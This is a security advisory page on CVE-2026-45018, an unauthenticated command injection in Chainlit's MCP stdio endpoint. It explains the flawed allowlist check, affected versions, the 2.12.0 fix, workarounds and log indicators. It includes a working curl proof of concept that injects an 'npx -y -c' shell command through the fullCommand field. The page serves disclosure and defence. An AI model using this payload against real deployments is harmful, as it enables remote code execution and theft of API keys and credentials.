NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Chainlit

CVE-2026-45018: Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution

criticalCVSS 3.1 9.8GHSA-w3fx-mc44-mf6j

Chainlit, the Python framework for chat and agent UIs, lets an unauthenticated client run shell commands on the server through the `POST /mcp` stdio transport. It only applies when `features.mcp.enabled = true`. Versions 2.4.0rc0 through 2.11.1 are affected. Chainlit 2.12.0 fixes it by removing the client-supplied command entirely.

Published Aug 25, 2026 · Analysis Oct 25, 2026

What an attacker can do

With MCP enabled, POST /mcp accepts a fullCommand string for the stdio client type. validate_mcp_command() in backend/chainlit/mcp.py splits it with shlex.split() and checks only the executable name against allowed_executables. It never looks at the arguments. So npx -y -c 'PAYLOAD' passes the check, because npx -c runs an arbitrary shell command. The command runs before the MCP handshake fails.

The attacker needs only network access and a Socket.IO session id, which any client can open. No login is required unless the deployment registered an auth callback. The command runs with the privileges of the Chainlit process, which means access to its environment variables (LLM API keys, database credentials), its files and the network around it.

A second weakness makes it worse: allowed_executables defaults to None, and the code treats None as allow everything. A developer who deletes that line from the config allows any executable.

MCP has been off by default since v2.7.0, so most deployments are not exposed. The /mcp route itself is registered in every deployment.

Who is affected

Affected: chainlit from 2.4.0rc0 up to and including 2.11.1, and only if .chainlit/config.toml sets features.mcp.enabled = true. Deployments with MCP disabled, the default since 2.7.0, are not exploitable through this flaw.

Check the installed version and the config:

pip show chainlit
grep -n "mcp" .chainlit/config.toml

chainlit

Ecosystem
PyPI
Affected
>= 2.4.0rc0, <= 2.11.1
Fixed in
2.12.0
Check
pip show chainlit

How to fix it

Upgrade to 2.12.0:

pip install --upgrade "chainlit>=2.12.0"

This release is a breaking change for MCP users. Stdio servers are now declared by the developer under [[features.mcp.servers]] in .chainlit/config.toml and clients select them by name. The old [features.mcp.sse], [features.mcp.stdio], [features.mcp.streamable-http] sections and allowed_executables stop the app from starting when MCP is enabled, so migrate them first (see CHANGELOG.md).

If you cannot upgrade, set features.mcp.enabled = false. You can also register an auth callback so /mcp needs a logged-in session, and restrict process spawning on the host. Authentication does not fix the injection.

After upgrading, a deployment with no auth callback still lets anonymous clients start developer-configured stdio servers by name. That is no longer code execution, but configure authentication anyway.

How to tell if you were hit

Search web server or reverse proxy logs for POST /mcp requests with "clientType": "stdio" and a fullCommand containing npx, -c, uvx, sh, curl or bash. Requests to /ws/socket.io/ from unknown clients just before them are a sign of the session setup.

On the host, check for shell or npx child processes of the Chainlit process, unexpected files in /tmp (the public proof of concept writes /tmp/rce_proof), and outbound connections from the Chainlit user. If you find any, rotate the keys in the process environment.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| CVE | CVE-2026-45018 |
| Affected | `>=2.4.0rc0, <2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support) |
| Patched | **2.12.0** (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

  1. Establish a Socket.IO session to get a valid sessionId:
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'
  1. Send the command injection payload:
curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

  • Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
  • Restrict outbound process-spawning / network capability from the host running Chainlit.
  • Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

  • On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
  • No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin SPL

Credited to dokterbob, qvipin, ladderlogix.

Questions

Is my Chainlit app affected if I never enabled MCP?

No for this flaw. It requires features.mcp.enabled = true, and MCP has been disabled by default since 2.7.0. Still upgrade, because 2.12.0 also fixes the related SSRF issue CVE-2026-45019.

Does CVE-2026-45018 need authentication?

No, unless you registered an auth callback. Without one, any client that can open a session can call /mcp. Adding auth removes the unauthenticated path but does not fix the command injection.

What breaks when I upgrade to 2.12.0?

If MCP is enabled and your config uses the legacy [features.mcp.sse], [features.mcp.stdio] or [features.mcp.streamable-http] sections or allowed_executables, the app will not start until you move to [[features.mcp.servers]]. MCP connections also no longer follow HTTP redirects.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Chainlit vulnerabilities

All Chainlit entries